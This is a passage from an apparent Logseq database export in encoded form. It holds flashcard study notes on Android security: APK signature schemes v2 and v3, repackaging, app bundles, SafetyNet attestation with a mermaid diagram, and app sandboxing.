successorlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Flogseq____&quot;,177,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-32f3-4d65-9420-4391c5e6bd3flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;APK generation deferred to Google Play (chooses appropriate APK)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Flogseq____&quot;,158,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c0c1-45d1-9987-4c189bd28b0alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only works for first-installs (SOP of subsequent updates)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Flogseq____&quot;,164,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5fad-47d9-b746-fb6b9f201f20logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Self-signed signatures allow for re-packaging modified contentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Flogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9712-46e3-821b-e23a7fbd3aeclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Repackaging #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Flogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bd25-40cd-babc-d468b8e9174flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## App Bundles #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Flogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-05d5-46f5-8f1e-4b3537730fd5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Mobile Platforms use signed application packages (Android: developer signed; IOS: Market signed)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Flogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Vlogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-67cd-4d9f-80bc-e3c547fcca08logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Verfied by Chain-of-Trust logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Flogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5d8b-4e66-a3a6-f9096c299f5dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Package Signing #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Flogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-26ed-467b-a3de-cf9c2d37514dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### APK Signature Scheme v2 #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Flogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b835-4603-a52f-5153e8a2ce4flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`logseq____&lt;signerlogseq____&gt;.{RSA,DSA,EC}`: Application and signer Certificate(Using [PKCS 7](https://en.wikipedia.org/wiki/PKCS_7)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Flogseq____&quot;,149,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-80fb-4abd-9549-860cf9496e1elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`METZ-INF` contains:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Flogseq____&quot;,173,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-53e2-49c8-8ca5-50db3fc406c8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be created using [`jarsigner`](https://docs.oracle.com/javase/8/docs/technotes/tools/windows/jarsigner.html) or [`apksigner`](https://developer.android.com/tools/apksigner)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Flogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9328-483c-a4b8-403a38c7b304logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Should not be used as *stand-alone*, *anti-abuse* or *app-security* mechanismlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Flogseq____&quot;,156,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1983-4940-b323-d4b722feb0f2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Manifest.mf` and `logseq____&lt;signerlogseq____&gt;.sf` allow for multiple entries with identical namelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Flogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-323a-4dbd-9c2a-bec290285d36logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### APK Signature Scheme v3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Flogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6b6d-4481-82c9-ae00c463032elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n box Smartphone\\n participant App\\n participant SafetyNetAPI\\n end\\n \\n box Google Server\\n participant SafetyNetServer\\n end\\n \\n box Developer Server\\n participant AppServer\\n end\\n\\n App-logseq____&gt;logseq____&gt;SafetyNetAPI: 1) Send nonce, platform config, app metadata\\n SafetyNetAPI-logseq____&gt;logseq____&gt;SafetyNetServer: Forward attestation request\\n SafetyNetServer--logseq____&gt;logseq____&gt;SafetyNetAPI: Return signed attestation (S)\\n SafetyNetAPI--logseq____&gt;logseq____&gt;App: Return attestation (S)\\n App-logseq____&gt;logseq____&gt;AppServer: 2) Send attestation (S)\\n AppServer--logseq____&gt;logseq____&gt;AppServer: 3) Verify S (decide device/app trustworthiness)\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Flogseq____&quot;,174,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ba98-463f-8bc6-b1a441e71b4alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android uses different signatures (scheme V1..4) ![](https://source.android.com/static/docs/security/images/apk-validation-process-v4.png)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Flogseq____&quot;,167,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Vlogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9a7a-4049-95ce-a15e3c1dabd4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android requires all updates to be signed using the same keylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Flogseq____&quot;,181,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4da9-426a-9657-fdbcfe5876f4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Added key rotation through additional *proof-of-rotation* in the signing blocklogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Flogseq____&quot;,176,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Vlogseq____&quot;,176,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-90b0-4818-bdb3-cc727d0a7d59logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use of two-level Merkle hash tree (single digest over hashing each file individually)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Flogseq____&quot;,148,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c325-4d57-8360-6417c64e9739logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;sandboxinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^11logseq____&quot;,logseq____&quot;Sandboxinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-f50c-4bdf-a4ba-ced2c0ef4a95logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n subgraph Kernel\\n K[\\logseq____&quot;Linux Kernel (enforces process isolation)\\logseq____&quot;]\\n end\\n\\n subgraph UA[\\logseq____&quot;Process Boundary (UID A)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 1)\\logseq____&quot;\\n A1[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B1[Core libs]\\n end\\n C1[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n\\n subgraph UB[\\logseq____&quot;Process Boundary (UID B)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 2)\\logseq____&quot;\\n A2[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B2[Core libs]\\n end\\n C2[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n\\n subgraph UC[\\logseq____&quot;Process Boundary (UID C)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 3)\\logseq____&quot;\\n A3[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B3[Core libs]\\n end\\n C3[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n A1 logseq____&lt;--logseq____&gt; B1\\n A2 logseq____&lt;--logseq____&gt; B2\\n A3 logseq____&lt;--logseq____&gt; B3\\n A1 logseq____&lt;--logseq____&gt; C1\\n A2 logseq____&lt;--logseq____&gt; C2\\n A3 logseq____&lt;--logseq____&gt; C3\\n K logseq____&lt;-- syscalls --logseq____&gt; UA\\n K logseq____&lt;-- syscalls --logseq____&gt; UB\\n K logseq____&lt;-- syscalls --logseq____&gt; UC\\n\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Flogseq____&quot;,190,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5c7f-4ddb-ae41-c80607256efclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Started application executed with root `Zygote`logseq____&apos;s privileges, i.e., 